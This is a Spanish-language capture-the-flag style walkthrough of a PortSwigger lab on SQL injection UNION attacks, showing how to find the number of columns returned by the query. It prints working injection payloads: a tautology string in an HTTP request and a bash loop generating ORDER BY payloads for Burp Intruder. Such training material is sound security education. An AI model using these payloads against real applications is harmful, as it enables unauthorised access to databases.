Lab: SQL injection UNION attack, determining the number of columns returned by the query
Ataque de inyección SQL mediante UNION, determinando el número de columnas que devuelve la consulta.
Información del laboratorio
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.
Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
Esta vulnerabilidad es similar a la que se encontraba en el laboratorio: Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Flujo de explotación
Identificación del parámetro vulnerable
Para verificar que es vulnerable, se usa un payload con un operador lógico, por ejemplo: 'or'1337'='1337
Como se puede observar, al enviar el payload se obtienen todos los elementos de la tabla products
:
GET /filter?category=Pets'or'1337'='1337 HTTP/2
Host: 0a33005e046e774b804776cd00ee008c.web-security-academy.net
Cookie: session=JdW0wVijoRTho0w2adcAoR29ObxXTZac
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a33005e046e774b804776cd00ee008c.web-security-academy.net/filter?category=Corporate+gifts


Obtener el número de columnas de la tabla
Para poder extraer información de la base de datos, antes hay que conocer el número de columnas y luego será necesario insertar los datos de salida coincidentes con el tipo de dato de su columna respectiva.
Se puede realizar de forma manual enviando el payload hasta obtener un error o se puede automatizar con intruder:
Añadir el punto de inserción del payload en la petición:

Generar la lista de payloads e pegarla en intruder:
for i in {1..20}; do echo "' ORDER BY "$i"--"; done

Ejecutar el ataque y analizar la respuesta. Como se puede observar, a partir de la columna 4 genera un error en la base de datos, por lo tanto, el número de columnas de la tabla será 3.

Última actualización
¿Te fue útil?